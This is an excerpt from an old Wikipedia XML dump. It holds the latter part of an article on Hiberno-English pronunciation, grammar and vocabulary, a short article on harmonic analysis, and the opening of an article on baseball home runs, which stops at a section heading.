* In some varieties /{{IPA|θ/}} becomes /t&lt;sup&gt;h&lt;/sup&gt;/, and /{{IPA|ð/}} and /d/ merge, making ''thin'' and ''tin'' and ''then'' and ''den'' near-homonyms, with the pair ''tin'' and ''den'' employing [[alveolar]] pronunciation (as in other varieties of English), while the pair ''thin'' and ''then'' are distinuished by using [[dental]] pronunciations, as in e.g. [[French language|French]]. In still other varieties, only /{{IPA|θ/}} is hardened to /t&lt;sup&gt;h&lt;/sup&gt;/, with /{{IPA|ð}}/ left unchanged; some dialects of Gaelic pronounce &quot;slender&quot; (palatalized) ''d'' as {{IPA|/ð&lt;sup&gt;j&lt;/sup&gt;/}}.
* The distinction between {{IPA|/ɔːɹ/}} and {{IPA|/oʊɹ/}} in ''horse'' and ''hoarse'' is preserved.
* The distinction between {{IPA|[&amp;#603;&amp;#633;]}}-{{IPA|[&amp;#618;&amp;#633;]}}-{{IPA|[&amp;#652;&amp;#633;]}} in ''herd-bird-curd'' is preserved.
* &quot;l&quot; is clear wherever it occurs in a word, as in French
* 'Pure' vowels: &quot;boat&quot;, in a traditional accent, is pronounced {{IPA|/boːt/}}, and cane is pronounced {{IPA|/keːn/}}
* The &quot;i&quot; in &quot;night&quot; may be pronounced {{IPA|/ɔɪ/}}. 
* The &quot;u&quot; in Dublin may be pronounced {{IPA|/ʊ/}}. 
* In [[County Cork]], some vowel sounds are often altered. An &quot;e&quot; sound becomes an &quot;i&quot; (&quot;well&quot; becomes &quot;will&quot;). Also &quot;Cork&quot; is locally pronounced as {{IPA|/kɑːɹk/}}.
* An accent unique to Dublin known as the [[Dublin 4]] intonation (referring to the local [[Dublin postal districts|postal district]]) is an urban/suburban middle class feature. This is an oft derided [[posh]] [[dialect]] that renders words such as 'car' as 'core' and 'far' as 'fore'. [[Dublin 4]] speakers often end a sentence with the [[high rising terminal|rising question]] 'Do you know what I mean?' contracted and pronounced rapidly as 'Dja kneww whad I min?'
* Similarly the [[working-class]] Dublin accent is a unique urban feature resembling the [[blue-collar]] accents of [[Manchester]] and [[Liverpool]] in [[England]]. This dialect includes phrases such as 'What's the story, Bud?' meaning 'How are you, friend?' pronounced 'Wats de stary bud?' and 'Mad out of it!' pronounced 'Mad ou vih!' meaning [[drunk]] or intoxicated by [[Psychoactive drug|drugs]]. 'Giddup de yaard' or 'gerrup de yaard' means 'Get lost!' or 'I disagree.'
* In some old-fashioned varieties, words spelled with ''ea'' and pronounced with {{IPA|[i&amp;#720;]}} in RP are pronounced with {{IPA|[e&amp;#720;]}}, for example ''meat'', ''beat''.
* In words where &quot;oo&quot; usually forms an {{IPA|/ʌ/}} sound, it may be changed to an {{IPA|/uː/}} sound, e.g. ''book'' is pronounced &quot;buke&quot;.

== Grammar derived from Irish ==

The Irish language has no words which directly translate as &quot;yes&quot; or &quot;no&quot;, instead the verb in a question is repeated in an answer.  People in Ireland have a tendency to repeat the verb, positively or negatively, instead of using &quot;yes&quot; or &quot;no.&quot; 

* &quot;Are you coming home soon?&quot;  &quot;I am.&quot;
* &quot;Is your mobile charged?&quot; &quot;It isn't.&quot;

(However, quite a number of people in Ireland, especially younger people, exclusively use the words '''yes''' and '''no''', as elsewhere in the English-speaking world.) 

Alternatively, it is common for Irish English-speakers to use the word &quot;aye&quot; as a weak form of &quot;yes&quot; (somewhat akin to &quot;sure&quot; or &quot;yeah&quot;).
* &quot;It's getting late, is it?&quot; &quot;Aye, it is.&quot;  or &quot; It is, aye. &quot; in [[County Donegal|Donegal]].
* &quot;Is that okay with you?&quot; &quot;Aye.&quot;

Irish verbs have two present tenses, one indicating what is occurring at this instant and another used for continuous actions. For example, 'you are now' is ''tá tú anois'' (literally 'are you now'), but 'you are every day' is ''bíonn tú gach lá'' (literally 'be you each day'; or, 'you do be every day').

Irish speakers of English, especially in rural areas, especially north Mayo/Sligo, use the verb &quot;to be&quot; in English similarly to how they would in Irish, using a &quot;does be/do be&quot; (or &quot;bes&quot;, although less frequently) construction to indicate this latter continuous present:
* &quot;He does be working every day.&quot;
* &quot;They do be talking on their mobiles a lot.&quot; 
* &quot;They bes doing a lot of work at school.&quot; (rare)
* &quot;It's him I do be thinking of.&quot;

Irish has no pluperfect tense: instead, &quot;after&quot; is added to the present continuous (a verb ending in &quot;-ing&quot;).  The idiom for &quot;I had done X when I did Y&quot; is &quot;I was after doing X when I did Y&quot;, modelled on the Irish usage of the compound prepositions ''i ndiaidh'', ''tar éis'', and ''in éis'': ''bhí mé tar éis/i ndiaidh/in éis X a dhéanamh, nuair a rinne mé Y''.  This can most commonly be heard used by Dubliners.
* &quot;Why did you hit him?&quot; &quot;He was after insulting me.&quot;
A similar construction is seen with the 'hot news perfect', used to express extreme excitement at something which has happened recently:
* &quot;Jaysus, I'm after hitting him with de car!&quot;
* &quot;Would ya look at yer one &amp;mdash; she's after losing five stone in five weeks!&quot;

Less explosively, using what might be termed the 'warm news perfect', the Irish perfect can indicate a recent action of less stellar importance, strongly resembling the [[German language|German]] spoken perfect in structure:
* &quot;I have the car fixed.&quot; ''Tá an glúisteán atosaithe agam.''
* &quot;I have me breakfast eaten.&quot; ''Tá an bricfeasta ite agam.''

Mirroring the Irish language and almost every other European language, the plural 'you' is distinguished from the singular, normally by use of the otherwise archaic English word 'ye' (the word 'yous' (sometimes written as 'youse') also occurs, but primarily only in Dublin and north Ulster, from [[Donegal|Co. Donegal]] across to [[County Antrim|Co. Antrim]]):
* &quot;Did ye/youse all go to see it?&quot;
Also, in some areas in Leinster, and also north Mayo/Sligo, the hybrid word 'ye-s', pronounced 'yis', may be used.
* &quot;Are yis not finished yet?&quot;

In rural areas the reflexive version of pronouns is often used for emphasis or to refer indirectly to a particular person, etc., according to context: 
* &quot;Was it all of ye or just yourself?&quot;
* &quot;'Tis herself that's coming now.&quot; ''Is sí féin atá ag teacht anois.''
- where 'herself' might, for example, be the boss or the woman of the house. Use of 'herself' or 'himself' in this way often indicates that the speaker attributes some degree of arrogance or selfishness to the person in question.  Note also the indirectness of this construction relative to, for example, 'She's coming now' and the use of &quot;'Tis&quot; rather than the more standard contraction &quot;It's&quot;.

It is also common to end sentences with 'no?' or 'yeah?'

* &quot;He's not coming today, no?&quot; ''Níl sé ag teacht inniú, nach bhfuil?''
* &quot;The bank's closed now, yeah?&quot; ''Tá an banc dúnta anois, an bhfuil?''

Though because of the particularly insubstantive yes and no in Irish, (the 
''nach bhfuil?'' and ''an bhfuil?'' being the interrogative positive and negative of the verb 'to be') the above may also find expression as

* &quot;He's not coming today, sure he isn't?&quot; ''Níl sé ag teacht inniú, nach bhfuil?''
* &quot;The bank's closed now, isn't it?&quot; ''Tá an banc dúnta anois, nach bhfuil?''

Irish English also always uses the &quot;light l&quot; sound, and the naming of the letter 'h' as 'haitch' is standard.  A is often pronounce &quot;Ah&quot; and Z as &quot;Ezed&quot;

When describing something, rural Hiberno-English speakers may use the term 'in it' where 'there' would usually be used. This is due to the Irish word ''ann'' (pronounced &quot;oun&quot;) fulfilling both meanings.

* Is it yourself that's in it? ''An é tusa a bhfuil ann?''

This isn't limited only to the verb 'to be': it's also used with 'to have' when used as an auxiliary; and, with other verbs, the verb 'to do' is used. This is most commonly used for intensification.

* This is strong stuff, so it is.
* We won the game, so we did.
* She's a right lash, so she is.

There are some language forms that stem from the fact that there is no verb 'to have' in Irish.  Instead, possession is indicated in Irish by using the preposition 'at,' (in Irish, ''ag.'').  To be more precise, Irish uses a prepositional pronoun that combines ''ag'' &quot;at&quot; and ''me'' &quot;me&quot; to create ''agam''.   
In English, the verb &quot;to have&quot; is used, along with a &quot;with me&quot; or &quot;on me&quot; that derives from ''Tá ....agam.'' 
This gives rise to the frequent 
* The book, I have it with me.   
* Do you have the book? I have it with me.
* Have you change for the bus on you?
* I have my phone on me, if you want to use it.

Somebody who can speak a language 'has' a language, in which Hiberno-English has borrowed the grammatical form used in Irish.

* She doesn't have Irish. ''Níl Gaeilge aici.'' literally 'There is no Irish at her'.

Another idiom is this thing or that thing described as 'this man here' or 'that man there', which also features in [[Newfoundland English]] in [[Canada]]. 
*This man here. ''An fear seo.''
*That man there. ''An fear sin.''

The reported clause is also often preserved in its direct form, for example 'John asked me to buy a loaf of bread' becomes 'John asked me would I buy a loaf of bread'.

'''Bring''' and '''take''': Irish use of these words differs from that of English, because it follows the Gaelic grammar for ''beir'' and ''tóg''.  English usage is determined by direction; Irish usage is determined by person.   So, in English, one &lt;big&gt;takes&lt;/big&gt; &quot;''from'' here ''to'' there&quot;, and &lt;big&gt;brings&lt;/big&gt; it &quot;''to'' here ''from'' there&quot;.  But, in Irish, a person &lt;big&gt;takes&lt;/big&gt; only when accepting a transfer of possession of the object from someone else &amp;mdash; and a person &lt;big&gt;brings&lt;/big&gt; at all other times, irrespective of direction (to or from).  Thus someone might say &quot;Don't forget to bring your umbrella with you when you go&quot; or, to a child, &quot;Hold my hand: I don't want someone to take you.&quot;

== Preservation of older English and Norman French usage ==

In old-fashioned usage, &quot;it is&quot; can be freely abbreviated &quot;'tis&quot;, even as a standalone sentence.  This also allows the double contraction &quot;'tisn't&quot;, for &quot;it is not&quot;.

The word &quot;ye&quot;, &quot;yis&quot; or &quot;yous&quot;, otherwise archaic, is still used in place of &quot;you&quot; for the second-person plural. &quot;Ye'r&quot; &quot;Yisser&quot; or &quot;Yousser&quot; are the possessive forms, e.g. &quot;What's yisser weather like over in France this time o' the year?&quot;
 
The verb &quot;mitch&quot; is common in Ireland, indicating being truant from school.  This word appears in [[William Shakespeare|Shakespeare]], but is seldom heard these days in [[British English]], although pockets of usage persist in some areas (notably South [[Wales]], [[Devon]], and [[Cornwall]]).

In some parts of Ireland, in particular the eastern seaboard, when someone is telling tall tales he is said to be &quot;blowing&quot; or &quot;bilowen&quot; out of him/her, which is likely to be a preservation of the [[Middle English]] &quot;bilowen&quot; or &quot;bi-lyen&quot;, as seen in [[Piers Plowman]] (by [[William Langland]] ): &quot;2.22 - And bilowen hire to lordes þat lawes han to kepe.&quot;

&quot;Gassin&quot; is a common descriptor in rural areas for a child, and derives from the word &quot;garcon&quot; (meaning &quot;boy&quot;) as used by 12th century [[Norman]] settlers.

For influence from [[Scotland]] see [[Ulster Scots language|Ulster Scots]].

==Turns of phrase==

'''Amn't''' is used as an abbreviation of &quot;am not&quot;, by analogy with &quot;isn't&quot; and &quot;aren't&quot;.  This can be used as a tag question (&quot;I'm making a mistake, amn't I?&quot;), or as an alternative to &quot;I'm not&quot; (&quot;I amn't joking&quot;), and the double negative is also used (&quot;I'm not late, amn't I not?&quot;).

'''Arra''' is used also. Arra tends to be used after something bad has happened, when someone is looking on the bright side (&quot;Arra, we'll go next week&quot;, &quot;Arra, 'tis not the end of the world&quot;).
&lt;!--- Is &quot;arra&quot; based on &quot;alright&quot;/&quot;all right&quot;?  Or is it just a nondescript groany interjectiony sort of word, like &quot;ohhhhh&quot; or &quot;urrrrgghhh&quot; or &quot;ahhhh&quot; or &quot;owwww&quot;?  I hope someone will fill in the etymology of &quot;arra&quot; here. ---&gt;

'''Come here to me now''' or '''Come here and I'll tell ya something''' is used to mean &quot;Listen to this&quot; or &quot;I have something to tell you&quot; and can be used as &quot;Come here and tell me&quot;. The phrase &quot;Tell me this&quot;, short for &quot;Tell me this and tell me no more&quot;, is also common. These phrases tend to imply a secretiveness or revelatory importance to the upcoming bit of information.

'''The devil''' is used in Irish as an expletive, eg. ''Cén áit sa diabhal a bhfuil sé?'' &quot;Where the devil is he?&quot; (the Irish version is literally &quot;What place in the devil is he?&quot;). This has been translated into Irish as a mild expletive, used in the song &quot;Whiskey in the Jar&quot; in the line &quot;But the devil take the women, for they never can be easy&quot;. ''Diabhal'' is also used for negation in Irish, and this usage might be carried over to Hiberno-English: ''diabhal fear'' &quot;devil a man&quot;, for &quot;not a soul&quot;.

Various '''insults''' have been transferred directly from Irish and have a very mild meaning in English: e.g. ''Lúdramán'', ''Amadán'', ''pleidhce'', ''rogue'', ''eejit'' (''idiot''), all (loosely) meaning &quot;fool&quot; or &quot;messer&quot; (''messer'' is also a Hiberno-Irish turn of phrase). &quot;Langer&quot; is a variant used especially in Cork.

Also more prevalent in [[Cork]] is a profligation of colourful emphasis-words; in general any turn of phrase associated with a superlative action is used to mean ''very'', and are often calculated to express these in a negative light and therefore often unpleasant by implication - &quot;he's a howling/ thundering/ rampaging/ galloping/ screeching langer, so he is.&quot; The practice is widespread in the rest of Hiberno-English but such a feature of Corkonian speech that it is now commonly lampooned when imitating the accent.

'''[[Reduplication]]''' is not an especially common feature of Irish; nevertheless in rendering Irish phrases into English it is occasionally used:
* ''ar bith'' corresponds to English ''at all'', so the stronger ''ar chor ar bith'' gives rise to the form '''at all at all'''
**''I've no money at all at all.''
* ''ar eagla go...'' (lit. ''on fear that'') means ''in case ...''.  The variant ''ar eagla na heagla'', (lit ''on fear of fear'') implies the circumstances are more unlikely.  The corresponding Hiberno-English phrases are ''to be sure'' and '''to be sure to be sure'''.  In this context, these are not, as might be thought, disjuncts meaning 'certainly'; they could better be translated ''in case'' and ''just in case''.  Nowadays normally spoken with conscious levity.
** ''I brought some cash in case I saw a bargain, and my credit card 'to be sure to be sure'.''

'''So''' is often used for emphasis (&quot;I can speak Irish, so I can&quot;), or it may be tacked on to the end of a sentence to indicate agreement (&quot;Bye so&quot;, &quot;Let's go so&quot;, &quot;That's fine so&quot;, &quot;We'll do that so&quot;). The word is also used to contradict a negative statement (&quot;You're not pushing hard enough&quot; - &quot;I am so!&quot;).

'''Sure''' is often used as a tag word, emphasising the obviousness of the statement. Can be used as &quot;to be sure&quot;, the famous Irish stereotype phrase. Or &quot;Sure, I can just go on Wednesday&quot;, &quot;I will not, to be sure.&quot; &quot;Sure Jayzus&quot; is often used as a very mild expletive to express dismay.


Casual conversation in many parts of Ireland includes a variety of colourful turns of phrase. Some examples:

*'''Yer man''' (your man) and '''Yer wan''' (your one) are used in referring to an individual known by the party being addressed, but not being referred to by name. The phrases are an unusual sort of half-translation of a parallel Irish-language phrase, &quot;mo dhuine&quot; (literally 'my person'). The nearest equivalents in colloquial English usage would be &quot;whatsisname&quot; and &quot;whatsername&quot;. Note also &quot;wan&quot; for female person may be a direct usage of the Irish 'bean' (woman).  In Newfoundland the same form exists as 'buddy,' who is a generic nameless person.  They use the word not always in the sense of 'my friend' but more in the sense of 'what's his name'.  'I went inside to ask for directions and buddy said to go left at the lights'.

*'''a soft day''' &amp;ndash; referring to a rainy day with that particular soft drizzle, and an overcast sky, but yet relatively bright. This is a translation of the Irish &quot;lá bog&quot;.

*'''Fecking''' is a mild abusive equivalent in force to &quot;bleeding&quot; or &quot;darned.&quot;  It is not a parallel of the English word &quot;[[fuck]]ing&quot;, despite their similarity, and is generally less offensive.  &quot;Feck&quot; is the corresponding expletive. The noun &quot;fecker&quot; is slightly stronger but not vulgar.  These terms were lately introduced to Britain by [[Father Ted]]. In old Dubliner slang, &quot;to feck' is also slang for &quot;to steal&quot;, as in the phrase, &quot;We went to the orchard and fecked some apples.&quot;  It can also mean &quot;to throw&quot;, especially if something is being thrown where it shouldn't, as in &quot;We fecked his schoolbag into the river.&quot;  Some areas of South Yorkshire use the word &quot;fetch&quot; to mean bring, &quot;fetch me a glass of water, I'm gagged.&quot; throw &quot; I fetched it up the tree and now its stuck&quot; or arrive &quot;We fetched up in Barnsley before 4 o'clock&quot;

*'''Yoke''' is typically used in place of the word &quot;thing&quot;, for instance &quot;gimme that yoke there&quot;. It's also used as an insult: &quot;you're some yoke&quot;.

*'''Now''' is often used at the end of sentences or phrases as a semantically empty word, completing an utterance without contributing any apparent meaning.  Examples include &quot;Bye now&quot; (= &quot;goodbye&quot;), &quot;There you go now&quot; (= when giving someone something), &quot;Ah now!&quot; (= expressing dismay), &quot;Hold on now&quot; (= &quot;wait a minute&quot;), &quot;Now then&quot; as a mild attention-getter, etc. This usage is universal among English dialects, but occurs more frequently in Hiberno-English.

*'''To''' is often omitted from sentences where it would exist in British English. For example, &quot;I am not allowed go out tonight&quot;, instead of &quot;I am not allowed ''to'' go out tonight&quot;.

There are many terms for having consumed a drop too much drink, many are used elsewhere, but the Irish tendency is to attempt to find the most descriptive adjective yet on each occasion. Some examples: &quot;scuttered&quot;, &quot;stocious/stotious&quot;, &quot;locked&quot;, ''&quot;langered&quot;'', &quot;mouldy&quot; (pron. mowldy as in &quot;fowl&quot;), &quot;polluted&quot;, &quot;flootered&quot;, &quot;plastered&quot;, ''&quot;bolloxed&quot;'', &quot;well out of it&quot;, ''&quot;wankered&quot;'', ''&quot;fucked&quot;'', ''&quot;fuckered&quot;'', &quot;binned&quot;, ''&quot;gee-eyed&quot;'', &quot;buckled&quot;, ''&quot;steaming&quot;'', &quot;messy&quot;, &quot;sloppy&quot;, &quot;wasted&quot;, &quot;paralytic&quot;, &quot;full as a boot&quot;, &quot;legless&quot;, &quot;hammered&quot; , &quot;blootered&quot;, &quot;squooshed&quot;, &quot;banjoed&quot;,  &quot;bingoed&quot; . (''Phrases in italics are more &quot;colourful&quot;'')

Some turns of phrase are more localised and their meaning may not be widespread throughout the country, while others are more transient and fall out of use after a number of years.

==Lexicon==

Hiberno-English vocabulary is largely the same as British English, though there are variances, especially with reference to certain goods, services and institutions. Examples that would come into everyday conversation include:

*To '''banjax''' something is to break it, ruin it, or render it incapable of use. As in &quot;My mobile's been banjaxed since I dropped it in the toilet.&quot;
*'''Bold''' describes someone (usually a child) who is impudent, naughty or badly behaved.
*'''Crack''' or '''craic''' is a good time, good company, good atmosphere and conversation. If you are enjoying yourself, it is good craic. [http://globalgateway.monster.ie/nationaltour_culture_culture.asp] The word may also be used to refer to events, news, or gossip, as in the phrases '''what's the craic?''' and '''how's the craic?'''.
*'''College''', more like American English than British English, would usually be referring to any sort of third-level education, be it college, university or [[Regional Technical College|Institute of Technology]]. This is because the [[Leaving Certificate Examinations]] (the rough equivalent of [[A-levels]] or [[NVQ]]s in the UK) are taken in secondary school in Ireland, so there is no intermediary college like sixth-form colleges in Britain.  (The probable origin of this usage is that, until the 1970s, the only [[tertiary education]] available was at university level, through the Colleges (Dublin, Cork, Galway, Maynooth) of the [[National University of Ireland]] or [[Trinity College, Dublin|Trinity College, Dublin University]] or the [[Royal College of Surgeons in Ireland]].
*'''Couple''' often means &quot;a few&quot;, somewhere between two and (?) four or five - whereas in British and American English it means precisely two.
*'''Cute''' can mean shrewd or clever, as in &quot;cute hoor&quot;.
*'''Delph''' meaning [[Dishware]], occasionally meaning [[artificial teeth]].  ''From the name of the original source of supply, [[Delft]] in [[the Netherlands]].  See [[Delftware]].''
*'''Dinner''' can often still mean the meal eaten in the middle of the day, especially in rural Ireland.  
*'''[[Electricity Supply Board|ESB]]''' (Electricity Supply Board), being the only national electricity supplier in Ireland, is regularly used in reference to this type of service. Whereas in other countries one would use the term &quot;mains supply&quot; or &quot;power supply&quot; when referring to the electricity supply that comes to their house/business, in Ireland a lot of people would say &quot;ESB supply&quot;.
*'''Flag''' can mean the conventional [[Flag]] it can also be a [[Flagstone]]
*'''Footpath''' is used in Ireland where &quot;pavement&quot; is in British English and &quot;sidewalk&quot; in American English.
*'''Guards''' refers to the [[Garda Síochana]], the Republic's police force, the equivalent in Irish '''Gardaí''' being used more formally, usually in the media. The singular '''Garda''' is widely used, the female equivalent, '''Bangharda''' less so. The word &quot;police&quot; generally refers to police in other countries.
*'''Grand''' can be used as a response to refer to a person or thing as being alright, for instance, &quot;I'm grand&quot; or &quot;That's grand&quot;.
*'''Handy''' has more meanings in Hiberno-Irish than just &quot;useful&quot;: it usually also means &quot;great&quot;, &quot;terrific&quot;. It is also used to describe a person's skill at a particular task; &quot;Paul is pretty handy with a golf club&quot; meaning &quot;Paul is a good golfer&quot;.
*'''Hiace''' (as in [[Toyota Hiace]]) is used by many to refer to any light commercial van, much like &quot;Transit&quot; or &quot;Transit van&quot; (as in [[Ford Transit]]) in the UK.
*'''Jacks''' :  toilet, usually in a pub or similar.  As in &quot;mind my handbag while I go to the jacks&quot;.  From 16th century English &quot;Jakes&quot;.  ('''mind''' means &quot;look after&quot;) the words Bog and Loo are also used.
*'''Jeep''', much like &quot;Hiace&quot;, is used by many to refer to any sort of off road vehicle, be it a small 4x4 like a [[Suzuki Jimny]] or large SUV like a long [[wheelbase]] [[Mitsubishi Pajero]]. This comes from U.S. military usage of the term, while, oddly enough, actual [[Chrysler]] [[Jeep]]s were never officially sold in Ireland until the 1990s, and the word was just as common before then.
*'''Messages''' means [[groceries]] or [[errands]]. ''She's gone to the shop to get the messages.'' ''I had a few messages to do in town.''
*'''Minerals''' means [[soft drinks]]   
*'''Oul' fella''' and '''oul' wan''' are used to describe one's father or mother respectively.
*'''Oxter''' means [[Armpit]] ''He had a book under his oxter.'' (sounds similar to the [[german language|German]] ''Achsel'' (axel))
*'''Press''' is almost invariably used instead of [[Cupboard]]. The hot press is the airing cupboard.
*'''Rubber''' means an eraser (not a [[condom]]!) (Note to American readers:  this is standard British English too)
*'''Runners''' or '''tackies''', or in the north '''gutties''', refers to &quot;trainers&quot; (British English) or &quot;sneakers&quot; (American English).
*'''[[Scallion]]''' is almost always used instead of Spring Onion (British English) or Green Onion (American English). However, since the proliferation of British supermarkets such as [[Tesco Ireland]], some people have also started to use the term Spring Onion.
*'''Scoop''' is used to describe an alcoholic bevarage i.e. &quot;Going for a few scoops&quot;. It is rarely, if ever, used in the singular (for example &quot;I left my scoop on the table&quot; is not a phrase that would ever be used). Also used is the word '''Jars''' (giving rise to the expression to be intoxicated '''jarred'''), usually referring to pints (of [[Guinness]])
*'''[[Tayto]]''' (an Irish brand of potato crisps) has become synonymous with any sort of crisps, regardless of brand. In Dublin, especially in working class areas, the alternative '''crips''' is commonly used (as in ''&quot;Get us a packet o' crips will ye?&quot;'')
*'''Tin''' means &quot;can&quot;, especially for processed foods. ''Give us a tin of beans.'' &quot;Can&quot; is usually reserved for soft drinks or beer/cider.
*'''Topper''', '''pointer''' and '''parer''' are often used to refer to a &quot;pencil sharpener&quot;.
*'''Wean''' an abbreviated form of the [[Scots language|Scots]] '''wee ane''', is used to refer to a child, but almost exclusively in [[Ulster]] and north [[Leinster]].

==See also==
*The lists at [[Wiktionary]], the free dictionary and Wikipedia's sibling project:
** [[Wiktionary:Category:Irish language|list of Irish words]] 
** [[Wiktionary:Category:Irish derivations|list of words of Irish origin]] 
** [[Wiktionary:Category:Scots language|list of Scots words]] 
** [[Wiktionary:Category:Scots derivations|list of words of Scots origin]] 
** [[Wiktionary:Category:Scottish Gaelic language|list of Scottish Gaelic words]]
** [[Wiktionary:Category:Scottish Gaelic derivations|list of words of Scottish Gaelic origin]]
*[[List of English words of Irish origin]]
*[[Regional accents of English speakers]]
*[[Ulster Scots language|Ulster Scots]]
*[[Mid Ulster English]]
*[[English speaking Europe]]

[[Category:Languages of Ireland]]
[[Category:English language]]
[[Category:Forms of English]]

[[de:Hiberno-Englisch]]
[[es:Inglés en Irlanda]]</text>
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      <minor />
      <comment>robot  Adding: tr Modifying: it</comment>
      <text xml:space="preserve">'''Harmonic analysis''' is the branch of [[mathematics]] which studies the representation of functions or signals as the superposition of basic [[wave]]s. It investigates and generalizes the notions of [[Fourier series]] and [[Fourier transform]]s. The basic waves are called &quot;[[harmonic]]s&quot;, hence the name &quot;harmonic analysis.&quot;  In the past two centuries, it has become a vast subject with applications in areas as diverse as [[signal processing]], [[quantum mechanics]], and [[neuroscience]].

The classical Fourier transform on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is still an area of ongoing research, particularly concerning Fourier transformation on more general objects such as [[tempered distribution]]s. For instance, if we impose some requirements on a distribution f, we can attempt to translate these requirements in terms of the Fourier transform of f.  The [[Paley-Wiener theorem]] is an example of this. The Paley-Wiener theorem immediately implies that if f is a nonzero [[distribution (mathematics)|distribution]] of [[compact support]] (these include functions of compact support), then its Fourier transform is never compactly supported.  This is a very elementary form of an [[uncertainty principle]] in a harmonic analysis setting. See also [[classic harmonic analysis]].

Fourier series can be conveniently studied in the context of [[Hilbert space]]s, which provides a connection between harmonic analysis and [[functional analysis]].

==Abstract harmonic analysis==

One of the more modern branches of harmonic analysis, having its roots in the mid-twentieth century, is [[mathematical analysis|analysis]] on [[topological group]]s. The core motivating idea are the various [[Fourier transform]]s, which can be generalized to a transform of [[function (mathematics)|function]]s defined on [[local compactness|locally compact groups]]. 

The theory for [[abelian group|abelian]] locally compact groups is called [[Pontryagin duality]]; it is considered to be in a satisfactory state, as far as explaining the main features of harmonic analysis goes. It is developed in detail on its dedicated page.

Harmonic analysis studies the properties of that duality and Fourier transform; and attempts to extend those features to different settings, for instance to the case of non-abelian [[Lie group|Lie groups]]. 

For general nonabelian locally compact groups, harmonic analysis is closely related to the theory of unitary group representations.  For compact groups,
the [[Peter-Weyl theorem]] explains how one may get harmonics by choosing one irreducible representation out of each equivalence class of representations. This choice of harmonics enjoys some of the useful properties of the classical Fourier transform in terms of carrying convolutions to pointwise products, or otherwise showing a certain understanding of the underlying group structure.

If the group is neither abelian nor compact, no general satisfactory theory is currently known. By &quot;satisfactory&quot; one would mean ''at least'' the equivalent of [[Plancherel theorem]]. However, many specific cases have been analyzed, for example [[General linear group|SL&lt;sub&gt;''n''&lt;/sub&gt;]]. In this case, it turns out that [[Group representation|representations]] in infinite dimension play a crucial role.

==Other branches==

*Study of the [[eigenvalue]]s and [[eigenvector]]s of the [[Laplacian]] on [[domain]]s, [[manifold]]s and (to a lesser extent), [[graph]]s, is also considered a branch of harmonic analysis. See e.g., [[hearing the shape of a drum]].
* Harmonic analysis on Euclidean spaces deals with properties of the Fourier transform on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; which have no analog on general groups. For example, the fact that the Fourier transform is invariant to rotations. Decomposing the Fourier transform to its radial and spherical components leads to topics such as [[Bessel function]]s and [[spherical harmonic]]s. See the book reference.
* Harmonic analysis on tube domains is concerned with generalizing properties of [[Hardy space]]s to higher dimensions.

==References==

Elias M. Stein and Guido Weiss, ''Introduction to Fourier Analysis on Euclidean Spaces'', Princeton University Press, 1971. ISBN 069108078X

Yitzhak Katznelson, ''An introduction to harmonic analysis'', Third edition. Cambridge University Press, 2004. ISBN 0-521-83829-0; 0-521-54359-2 


[[Category:Mathematical analysis]]
[[Category:Harmonic analysis|*]]

[[de:Fourieranalyse]]
[[es:Análisis armónico]]
[[eo:Fourier-a analizo]]
[[fr:Analyse harmonique (mathématique)]]
[[it:Analisi di Fourier]]
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[[pl:Analiza harmoniczna]]
[[pt:Análise harmónica]]
[[tr:Fourier analizi]]</text>
    </revision>
  </page>
  <page>
    <title>Home run</title>
    <id>14148</id>
    <revision>
      <id>42137692</id>
      <timestamp>2006-03-04T01:49:02Z</timestamp>
      <contributor>
        <ip>12.99.127.169</ip>
      </contributor>
      <comment>/* Types of home runs */</comment>
      <text xml:space="preserve">{{otheruses}}
In [[baseball]], a '''home run''' is a [[hit (baseball)|base hit]] in which the [[batting (baseball)|batter]] is able to circle all the bases, ending at home plate and scoring a [[run (baseball)|run]] himself (along with a run scored by each [[baserunning|runner]] who was already on base), with no [[error (baseball)|errors]] by the defensive team on the play which result in the batter advancing for extra bases.

Home runs are among the most popular aspects of baseball, and the biggest (and best-paid) stars are often the players who hit the most of them. It was once said that &quot;[[single (baseball)|Singles]] hitters drive [[Ford Motor Company|Fords]], and home run hitters drive [[Cadillac]]s.&quot; There is also a legend that [[Babe Ruth]] was asked by a reporter about the fact that his salary was higher than that of President [[Herbert Hoover]]; Ruth's response was, &quot;How many home runs did ''he'' hit last year?&quot; (It is worth noting that Ruth had been an official endorser of [[Al Smith]] for President in [[U.S. presidential election, 1928|1928]], according to Marshall Smelser's ''The Life That Ruth Built''.)
{| align=right
| &lt;!-- Unsourced image removed: [[Image:Ruthbatting.jpg|thumb|[[Babe Ruth]]]] --&gt;
|-
| [[Image:Mark mcgwire.jpg|thumb|[[Mark McGwire]]]]
|-
| [[Image:Beiserebatedor.jpg|thumb|[[Barry Bonds]]&lt;br/&gt;&lt;small&gt;Photo:Agência Brasil]]
|}
==Types of home runs==
In addition to the general term &quot;home run,&quot; certain plays in baseball have been given names to denote which they are a special type of home run. These home runs are generally considered to be special because of their rarity, but also because of the kind of excitement, specific to the game situation, that they can create.

===Inside-the-park home run===

In almost all cases nowadays, a home run involves hitting the ball over the [[outfield]] fence in [[fair ball|fair territory]]. Very rarely, a batter can hit the ball in play and circle all the bases before the fielders can throw him out; this is called an '''[[inside-the-park home run]]''', and typically requires that the batter be a quick runner, and that either the fielder misplay the ball in some way or that the ball is made difficult to play by caroming in unexpected ways, or by becoming difficult for a fielder to reach due to structural variances and peculiarities of different ballparks. If the misplay is labeled an error by the official scorer, however, the batter is not credited with a home run.

===Grand slam===

A '''[[grand slam (baseball)|grand slam]]''' home run occurs when the bases are &quot;loaded&quot; (that is, there are base runners standing at first, second, and third base) and the batter hits a home run. An '''inside-the-park grand slam''' is a grand slam without the ball leaving the field, and it is very rare. The last major league inside-the-park grand slam was hit by [[Randy Winn]] of the [[Tampa Bay Devil Rays]] on [[October 3]], [[1999 in baseball|1999]].

===Walk-off home run===

A '''[[walk-off home run]]''' is a term coined by famous relief pitcher [[Dennis Eckersley]] to signify a home run that immediately ends the game, so named because after the run is scored, the players can &quot;walk off&quot; the field. In order for this to happen, a member of the home team must hit a home run in the bottom of the last inning to either come from behind or break a tie.

===Hitting for the cycle===

A batter '''[[hitting for the cycle|hits for the cycle]]''' when he collects a single, [[double (baseball)|double]], [[triple (baseball)|triple]] and home run in the same game. As home runs usually demonstrate batting power and triples indicate speed, hitting for the cycle is highly regarded for the way it indicates a player's varied abilities. Collecting the hits in the order above is called a &quot;natural cycle.&quot;

==History of the home run==

